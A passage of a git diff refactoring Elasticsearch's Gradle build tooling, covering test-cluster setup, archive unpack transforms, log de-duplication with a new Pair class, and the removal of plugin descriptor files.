project.getDependencies().registerTransform(UnzipTransform.class, transformSpec -> { + transformSpec.getFrom() + .attribute(ArtifactAttributes.ARTIFACT_FORMAT, ArtifactTypeDefinition.ZIP_TYPE) + .attribute(bundleAttribute, true); + transformSpec.getTo() + .attribute(ArtifactAttributes.ARTIFACT_FORMAT, ArtifactTypeDefinition.DIRECTORY_TYPE) + .attribute(bundleAttribute, true); + transformSpec.getParameters().setAsFiletreeOutput(true); + }); + } + @Override public void module(String moduleProjectPath) { module(maybeCreatePluginOrModuleDependency(moduleProjectPath)); @@ -728,7 +765,7 @@ private Map getESEnvironment() { Map defaultEnv = new HashMap<>(); // If we are testing the current version of Elasticsearch, use the configured runtime Java, otherwise use the bundled JDK if (getTestDistribution() == TestDistribution.INTEG_TEST || getVersion().equals(VersionProperties.getElasticsearchVersion())) { - defaultEnv.put("ES_JAVA_HOME", BuildParams.getRuntimeJavaHome().getAbsolutePath()); + defaultEnv.put("ES_JAVA_HOME", runtimeJava.get().getAbsolutePath()); } defaultEnv.put("ES_PATH_CONF", configFile.getParent().toString()); String systemPropertiesString = ""; @@ -813,7 +850,7 @@ private void startElasticsearchProcess() { } catch (IOException e) { throw new TestClustersException("Failed to start ES process for " + this, e); } - reaper.registerPid(toString(), esProcess.pid()); + reaperServiceProvider.get().registerPid(toString(), esProcess.pid()); } @Internal @@ -881,7 +918,7 @@ public synchronized void stop(boolean tailLogs) { requireNonNull(esProcess, "Can't stop `" + this + "` as it was not started or already stopped."); // Test clusters are not reused, don't spend time on a graceful shutdown stopHandle(esProcess.toHandle(), true); - reaper.unregister(toString()); + reaperServiceProvider.get().unregister(toString()); esProcess = null; // Clean up the ports file in case this is started again. try { @@ -948,7 +985,7 @@ private void logProcessInfo(String prefix, ProcessHandle.Info info) { } private void logFileContents(String description, Path from, boolean tailLogs) { - final Map errorsAndWarnings = new LinkedHashMap<>(); + final Map> errorsAndWarnings = new LinkedHashMap<>(); LinkedList ring = new LinkedList<>(); try (LineNumberReader reader = new LineNumberReader(Files.newBufferedReader(from))) { for (String line = reader.readLine(); line != null; line = reader.readLine()) { @@ -960,10 +997,18 @@ private void logFileContents(String description, Path from, boolean tailLogs) { lineToAdd = line; // check to see if the previous message (possibly combined from multiple lines) was an error or // warning as we want to show all of them - String previousMessage = normalizeLogLine(ring.getLast()); - if (MESSAGES_WE_DONT_CARE_ABOUT.stream().noneMatch(previousMessage::contains) - && (previousMessage.contains("ERROR") || previousMessage.contains("WARN"))) { - errorsAndWarnings.put(ring.getLast(), errorsAndWarnings.getOrDefault(previousMessage, 0) + 1); + String normalizedMessage = normalizeLogLine(ring.getLast()); + if (MESSAGES_WE_DONT_CARE_ABOUT.stream().noneMatch(normalizedMessage::contains) + && (normalizedMessage.contains("ERROR") || normalizedMessage.contains("WARN"))) { + + // De-duplicate repeated errors + errorsAndWarnings.put( + normalizedMessage, + Pair.of( + ring.getLast(), // Original, non-normalized message (so we keep the first timestamp) + ofNullable(errorsAndWarnings.get(normalizedMessage)).map(p -> p.right() + 1).orElse(1) + ) + ); } } else { // We combine multi line log messages to make sure we never break exceptions apart @@ -996,10 +1041,10 @@ private void logFileContents(String description, Path from, boolean tailLogs) { } if (errorsAndWarnings.isEmpty() == false) { LOGGER.lifecycle("\n» ↓ errors and warnings from " + from + " ↓"); - errorsAndWarnings.forEach((message, count) -> { - LOGGER.lifecycle("» " + message.replace("\n", "\n» ")); - if (count > 1) { - LOGGER.lifecycle("» ↑ repeated " + count + " times ↑"); + errorsAndWarnings.forEach((key, pair) -> { + LOGGER.lifecycle("» " + pair.left().replace("\n", "\n» ")); + if (pair.right() > 1) { + LOGGER.lifecycle("» ↑ repeated " + pair.right() + " times ↑"); } }); } @@ -1141,7 +1186,6 @@ private void createConfiguration() { baseConfig.put("path.repo", confPathRepo.toAbsolutePath().toString()); baseConfig.put("path.data", confPathData.toAbsolutePath().toString()); baseConfig.put("path.logs", confPathLogs.toAbsolutePath().toString()); - baseConfig.put("path.shared_data", workingDir.resolve("sharedData").toString()); baseConfig.put("node.attr.testattr", "test"); baseConfig.put("node.portsfile", "true"); baseConfig.put("http.port", httpPort); @@ -1176,6 +1220,8 @@ private void createConfiguration() { baseConfig.put("cluster.service.slow_master_task_logging_threshold", "5s"); } + baseConfig.put("action.destructive_requires_name", "false"); + HashSet overriden = new HashSet<>(baseConfig.keySet()); overriden.retainAll(settings.keySet()); overriden.removeAll(OVERRIDABLE_SETTINGS); @@ -1286,26 +1332,15 @@ private Path getExtractedDistributionDir() { return distributions.get(currentDistro).getExtracted().getSingleFile().toPath(); } - private List getInstalledFileSet(Action filter) { - return Stream.concat(plugins.stream().map(Provider::get), modules.stream().map(Provider::get)) - .filter(File::exists) - // TODO: We may be able to simplify this with Gradle 5.6 - // https://docs.gradle.org/nightly/release-notes.html#improved-handling-of-zip-archives-on-classpaths - .map(zipFile -> archiveOperations.zipTree(zipFile).matching(filter)) - .flatMap(tree -> tree.getFiles().stream()) - .sorted(Comparator.comparing(File::getName)) - .collect(Collectors.toList()); - } - @Classpath - public List getInstalledClasspath() { - return getInstalledFileSet(filter -> filter.include("**/*.jar")); + public FileCollection getInstalledClasspath() { + return pluginAndModuleConfiguration.filter(f -> f.isDirectory() == false && f.getName().endsWith(".jar")); } @InputFiles @PathSensitive(PathSensitivity.RELATIVE) - public List getInstalledFiles() { - return getInstalledFileSet(filter -> filter.exclude("**/*.jar")); + public FileCollection getInstalledFiles() { + return pluginAndModuleConfiguration.filter(f -> f.isDirectory() == false && f.getName().endsWith(".jar") == false); } @Classpath diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/TestClustersPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/TestClustersPlugin.java index 567c8e257c8fd..4690efee85d61 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/TestClustersPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/TestClustersPlugin.java @@ -10,9 +10,6 @@ import org.elasticsearch.gradle.DistributionDownloadPlugin; import org.elasticsearch.gradle.ReaperPlugin; import org.elasticsearch.gradle.ReaperService; -import org.elasticsearch.gradle.info.BuildParams; -import org.elasticsearch.gradle.info.GlobalBuildInfoPlugin; -import org.elasticsearch.gradle.internal.InternalDistributionDownloadPlugin; import org.elasticsearch.gradle.util.GradleUtils; import org.gradle.api.NamedDomainObjectContainer; import org.gradle.api.Plugin; @@ -26,7 +23,9 @@ import org.gradle.api.logging.Logger; import org.gradle.api.logging.Logging; import org.gradle.api.provider.Provider; +import org.gradle.api.provider.ProviderFactory; import org.gradle.api.tasks.TaskState; +import org.gradle.internal.jvm.Jvm; import org.gradle.process.ExecOperations; import javax.inject.Inject; @@ -42,6 +41,8 @@ public class TestClustersPlugin implements Plugin { private static final String LIST_TASK_NAME = "listTestClusters"; private static final String REGISTRY_SERVICE_NAME = "testClustersRegistry"; private static final Logger logger = Logging.getLogger(TestClustersPlugin.class); + private final ProviderFactory providerFactory; + private Provider runtimeJavaProvider; @Inject protected FileSystemOperations getFileSystemOperations() { @@ -58,18 +59,28 @@ protected ExecOperations getExecOperations() { throw new UnsupportedOperationException(); } + @Inject + public TestClustersPlugin(ProviderFactory providerFactory) { + this.providerFactory = providerFactory; + } + + public void setRuntimeJava(Provider runtimeJava) { + this.runtimeJavaProvider = runtimeJava; + } + @Override public void apply(Project project) { - project.getRootProject().getPluginManager().apply(GlobalBuildInfoPlugin.class); - BuildParams.withInternalBuild(() -> project.getPlugins().apply(InternalDistributionDownloadPlugin.class)) - .orElse(() -> project.getPlugins().apply(DistributionDownloadPlugin.class)); - + project.getPlugins().apply(DistributionDownloadPlugin.class); project.getRootProject().getPluginManager().apply(ReaperPlugin.class); - - ReaperService reaper = project.getRootProject().getExtensions().getByType(ReaperService.class); - + Provider reaperServiceProvider = GradleUtils.getBuildService( + project.getGradle().getSharedServices(), + ReaperPlugin.REAPER_SERVICE_NAME + ); + runtimeJavaProvider = providerFactory.provider( + () -> System.getenv("RUNTIME_JAVA_HOME") == null ? Jvm.current().getJavaHome() : new File(System.getenv("RUNTIME_JAVA_HOME")) + ); // enable the DSL to describe clusters - NamedDomainObjectContainer container = createTestClustersContainerExtension(project, reaper); + NamedDomainObjectContainer container = createTestClustersContainerExtension(project, reaperServiceProvider); // provide a task to be able to list defined clusters. createListClustersTask(project, container); @@ -90,11 +101,13 @@ public void apply(Project project) { project.getRootProject().getPluginManager().apply(TestClustersHookPlugin.class); } - private NamedDomainObjectContainer createTestClustersContainerExtension(Project project, ReaperService reaper) { + private NamedDomainObjectContainer createTestClustersContainerExtension( + Project project, + Provider reaper + ) { // Create an extensions that allows describing clusters - NamedDomainObjectContainer container = project.container( - ElasticsearchCluster.class, - name -> new ElasticsearchCluster( + NamedDomainObjectContainer container = project.container(ElasticsearchCluster.class, name -> { + return new ElasticsearchCluster( project.getPath(), name, project, @@ -102,9 +115,10 @@ private NamedDomainObjectContainer createTestClustersConta getFileSystemOperations(), getArchiveOperations(), getExecOperations(), - new File(project.getBuildDir(), "testclusters") - ) - ); + new File(project.getBuildDir(), "testclusters"), + runtimeJavaProvider + ); + }); project.getExtensions().add(EXTENSION_NAME, container); return container; } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/TestDistribution.java b/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/TestDistribution.java index ea038d4bb5218..6a1b35150892b 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/TestDistribution.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/TestDistribution.java @@ -13,5 +13,4 @@ public enum TestDistribution { INTEG_TEST, DEFAULT, - OSS } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/http/WaitForHttpResource.java b/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/WaitForHttpResource.java similarity index 99% rename from buildSrc/src/main/java/org/elasticsearch/gradle/http/WaitForHttpResource.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/WaitForHttpResource.java index cb08067f00ba1..bef5578f7bca3 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/http/WaitForHttpResource.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/WaitForHttpResource.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.http; +package org.elasticsearch.gradle.testclusters; import org.gradle.api.logging.Logger; import org.gradle.api.logging.Logging; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/transform/SymbolicLinkPreservingUntarTransform.java b/buildSrc/src/main/java/org/elasticsearch/gradle/transform/SymbolicLinkPreservingUntarTransform.java index 16de00adfd467..ba93f36d6dbee 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/transform/SymbolicLinkPreservingUntarTransform.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/transform/SymbolicLinkPreservingUntarTransform.java @@ -11,6 +11,7 @@ import org.apache.commons.compress.archivers.tar.TarArchiveEntry; import org.apache.commons.compress.archivers.tar.TarArchiveInputStream; import org.apache.commons.compress.compressors.gzip.GzipCompressorInputStream; +import org.gradle.api.artifacts.transform.TransformOutputs; import java.io.File; import java.io.FileInputStream; @@ -27,7 +28,7 @@ public abstract class SymbolicLinkPreservingUntarTransform implements UnpackTran private static final Path CURRENT_DIR_PATH = Paths.get("."); - public void unpack(File tarFile, File targetDir) throws IOException { + public void unpack(File tarFile, File targetDir, TransformOutputs outputs, boolean asFiletreeOutput) throws IOException { Function pathModifier = pathResolver(); TarArchiveInputStream tar = new TarArchiveInputStream(new GzipCompressorInputStream(new FileInputStream(tarFile))); final Path destinationPath = targetDir.toPath(); @@ -54,6 +55,9 @@ public void unpack(File tarFile, File targetDir) throws IOException { try (FileOutputStream fos = new FileOutputStream(destination.toFile())) { tar.transferTo(fos); } + if (asFiletreeOutput) { + outputs.file(destination.toFile()); + } } if (entry.isSymbolicLink() == false) { // check if the underlying file system supports POSIX permissions diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/transform/UnpackTransform.java b/buildSrc/src/main/java/org/elasticsearch/gradle/transform/UnpackTransform.java index 08f00892d7fca..e2c823087a2fb 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/transform/UnpackTransform.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/transform/UnpackTransform.java @@ -16,6 +16,7 @@ import org.gradle.api.logging.Logging; import org.gradle.api.provider.Provider; import org.gradle.api.tasks.Input; +import org.gradle.api.tasks.Internal; import org.gradle.api.tasks.Optional; import org.gradle.api.tasks.PathSensitive; import org.gradle.api.tasks.PathSensitivity; @@ -41,6 +42,20 @@ interface Parameters extends TransformParameters { @Optional List getKeepStructureFor(); + /** + * Mark output as handled like a filetree meaning that + * each file will be part of the output and not the singular ouptut directory. + * */ + @Input + boolean getAsFiletreeOutput(); + + void setAsFiletreeOutput(boolean asFiletreeOutput); + + @Internal + File getTargetDirectory(); + + void setTargetDirectory(File targetDirectory); + void setKeepStructureFor(List pattern); } @@ -55,17 +70,16 @@ default void transform(TransformOutputs outputs) { try { Logging.getLogger(UnpackTransform.class) .info("Unpacking " + archiveFile.getName() + " using " + getClass().getSimpleName() + "."); - unpack(archiveFile, extractedDir); + unpack(archiveFile, extractedDir, outputs, getParameters().getAsFiletreeOutput()); } catch (IOException e) { throw UncheckedException.throwAsUncheckedException(e); } } - void unpack(File archiveFile, File targetDir) throws IOException; + void unpack(File archiveFile, File targetDir, TransformOutputs outputs, boolean asFiletreeOutput) throws IOException; default Function pathResolver() { List keepPatterns = getParameters().getKeepStructureFor(); - String trimmedPrefixPattern = getParameters().getTrimmedPrefixPattern(); return trimmedPrefixPattern != null ? (i) -> trimArchiveExtractPath(keepPatterns, trimmedPrefixPattern, i) : (i) -> Path.of(i); } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/transform/UnzipTransform.java b/buildSrc/src/main/java/org/elasticsearch/gradle/transform/UnzipTransform.java index 15f8911c2fab4..294c6f799c5ba 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/transform/UnzipTransform.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/transform/UnzipTransform.java @@ -11,6 +11,7 @@ import org.apache.commons.io.IOUtils; import org.apache.tools.zip.ZipEntry; import org.apache.tools.zip.ZipFile; +import org.gradle.api.artifacts.transform.TransformOutputs; import org.gradle.api.logging.Logging; import java.io.File; @@ -24,7 +25,7 @@ public abstract class UnzipTransform implements UnpackTransform { - public void unpack(File zipFile, File targetDir) throws IOException { + public void unpack(File zipFile, File targetDir, TransformOutputs outputs, boolean asFiletreeOutput) throws IOException { Logging.getLogger(UnzipTransform.class) .info("Unpacking " + zipFile.getName() + " using " + UnzipTransform.class.getSimpleName() + "."); Function pathModifier = pathResolver(); @@ -47,6 +48,9 @@ public void unpack(File zipFile, File targetDir) throws IOException { IOUtils.copyLarge(zip.getInputStream(zipEntry), outputStream); } chmod(outputPath, zipEntry.getUnixMode()); + if (asFiletreeOutput) { + outputs.file(outputPath.toFile()); + } } } finally { zip.close(); diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/util/FileUtils.java b/buildSrc/src/main/java/org/elasticsearch/gradle/util/FileUtils.java deleted file mode 100644 index 48df95979a95b..0000000000000 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/util/FileUtils.java +++ /dev/null @@ -1,67 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.gradle.util; - -import org.gradle.api.UncheckedIOException; - -import java.io.File; -import java.util.Collections; -import java.util.LinkedList; -import java.util.List; - -public final class FileUtils { - - /** - * Like {@link java.io.File#mkdirs()}, except throws an informative error if a dir cannot be created. - * - * @param dir The dir to create, including any non existent parent dirs. - */ - public static void mkdirs(File dir) { - dir = dir.getAbsoluteFile(); - if (dir.isDirectory()) { - return; - } - - if (dir.exists() && dir.isDirectory() == false) { - throw new UncheckedIOException(String.format("Cannot create directory '%s' as it already exists, but is not a directory", dir)); - } - - List toCreate = new LinkedList(); - File parent = dir.getParentFile(); - while (parent.exists() == false) { - toCreate.add(parent); - parent = parent.getParentFile(); - } - Collections.reverse(toCreate); - for (File parentDirToCreate : toCreate) { - if (parentDirToCreate.isDirectory()) { - continue; - } - File parentDirToCreateParent = parentDirToCreate.getParentFile(); - if (parentDirToCreateParent.isDirectory() == false) { - throw new UncheckedIOException( - String.format( - "Cannot create parent directory '%s' when creating directory '%s' as '%s' is not a directory", - parentDirToCreate, - dir, - parentDirToCreateParent - ) - ); - } - if (parentDirToCreate.mkdir() == false && parentDirToCreate.isDirectory() == false) { - throw new UncheckedIOException( - String.format("Failed to create parent directory '%s' when creating directory '%s'", parentDirToCreate, dir) - ); - } - } - if (dir.mkdir() == false && dir.isDirectory() == false) { - throw new UncheckedIOException(String.format("Failed to create directory '%s'", dir)); - } - } -} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/util/GradleUtils.java b/buildSrc/src/main/java/org/elasticsearch/gradle/util/GradleUtils.java index 9cb24b66275b7..acb56f4c3765b 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/util/GradleUtils.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/util/GradleUtils.java @@ -7,7 +7,6 @@ */ package org.elasticsearch.gradle.util; -import org.elasticsearch.gradle.ElasticsearchJavaPlugin; import org.gradle.api.Action; import org.gradle.api.GradleException; import org.gradle.api.Project; @@ -18,6 +17,7 @@ import org.gradle.api.artifacts.ModuleDependency; import org.gradle.api.artifacts.ProjectDependency; import org.gradle.api.plugins.JavaBasePlugin; +import org.gradle.api.plugins.JavaPlugin; import org.gradle.api.plugins.JavaPluginConvention; import org.gradle.api.provider.Provider; import org.gradle.api.services.BuildService; @@ -107,7 +107,7 @@ public static > Provider getBuildService(BuildServi * @return A task provider for the newly created test task */ public static TaskProvider addTestSourceSet(Project project, String sourceSetName) { - project.getPluginManager().apply(ElasticsearchJavaPlugin.class); + project.getPluginManager().apply(JavaPlugin.class); // create our test source set and task SourceSetContainer sourceSets = project.getExtensions().getByType(SourceSetContainer.class); @@ -162,9 +162,8 @@ public static void setupIdeForTestSourceSet(Project project, SourceSet testSourc */ public static void extendSourceSet(Project project, String parentSourceSetName, String childSourceSetName) { final List> configNameFunctions = Arrays.asList( - SourceSet::getCompileConfigurationName, + SourceSet::getCompileOnlyConfigurationName, SourceSet::getImplementationConfigurationName, - SourceSet::getRuntimeConfigurationName, SourceSet::getRuntimeOnlyConfigurationName ); SourceSetContainer sourceSets = project.getExtensions().getByType(SourceSetContainer.class); diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/util/Pair.java b/buildSrc/src/main/java/org/elasticsearch/gradle/util/Pair.java new file mode 100644 index 0000000000000..0f78e81dd4b20 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/util/Pair.java @@ -0,0 +1,31 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.util; + +public class Pair { + private final L left; + private final R right; + + private Pair(L left, R right) { + this.left = left; + this.right = right; + } + + public static Pair of(L left, R right) { + return new Pair<>(left, right); + } + + public L left() { + return left; + } + + public R right() { + return right; + } +} diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.build.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.build.properties deleted file mode 100644 index c80e45ff2e9b8..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.build.properties +++ /dev/null @@ -1 +0,0 @@ -implementation-class=org.elasticsearch.gradle.BuildPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.distribution-download.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.distribution-download.properties deleted file mode 100644 index 3c0e3d94fab1e..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.distribution-download.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.DistributionDownloadPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.distro-test.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.distro-test.properties deleted file mode 100644 index 7bfdb74782c26..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.distro-test.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.test.DistroTestPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.docker-support.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.docker-support.properties deleted file mode 100644 index fec4e97bf67a5..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.docker-support.properties +++ /dev/null @@ -1 +0,0 @@ -implementation-class=org.elasticsearch.gradle.docker.DockerSupportPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.docs-test.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.docs-test.properties deleted file mode 100644 index 9a5a5e4c5537b..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.docs-test.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.doc.DocsTestPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.esplugin.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.esplugin.properties deleted file mode 100644 index 3116e0415f5c6..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.esplugin.properties +++ /dev/null @@ -1 +0,0 @@ -implementation-class=org.elasticsearch.gradle.plugin.PluginBuildPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.global-build-info.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.global-build-info.properties deleted file mode 100644 index 7428707877242..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.global-build-info.properties +++ /dev/null @@ -1 +0,0 @@ -implementation-class=org.elasticsearch.gradle.info.GlobalBuildInfoPlugin \ No newline at end of file diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-available-ports.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-available-ports.properties deleted file mode 100644 index a9027eb71fbf7..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-available-ports.properties +++ /dev/null @@ -1,10 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -# needed for testkit testing -implementation-class=org.elasticsearch.gradle.internal.InternalAvailableTcpPortProviderPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-cluster-test.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-cluster-test.properties deleted file mode 100644 index a66bd5ee97901..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-cluster-test.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.test.InternalClusterTestPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-distribution-archive-check.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-distribution-archive-check.properties deleted file mode 100644 index afcd080035273..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-distribution-archive-check.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.internal.InternalDistributionArchiveCheckPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-distribution-archive-setup.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-distribution-archive-setup.properties deleted file mode 100644 index 094a272bc7319..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-distribution-archive-setup.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.internal.InternalDistributionArchiveSetupPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-distribution-bwc-setup.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-distribution-bwc-setup.properties deleted file mode 100644 index 15ca9af40dc34..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-distribution-bwc-setup.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.internal.InternalDistributionBwcSetupPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-distribution-download.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-distribution-download.properties deleted file mode 100644 index f214a0a66e939..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-distribution-download.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.internal.InternalDistributionDownloadPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-licenseheaders.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-licenseheaders.properties deleted file mode 100644 index a807dcb565c3f..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-licenseheaders.properties +++ /dev/null @@ -1,10 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -# needed for testkit testing -implementation-class=org.elasticsearch.gradle.internal.precommit.LicenseHeadersPrecommitPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-test-artifact-base.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-test-artifact-base.properties deleted file mode 100644 index f041e84ea83da..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-test-artifact-base.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.internal.InternalTestArtifactBasePlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-test-artifact.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-test-artifact.properties deleted file mode 100644 index 23c8ee07e5b50..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.internal-test-artifact.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# 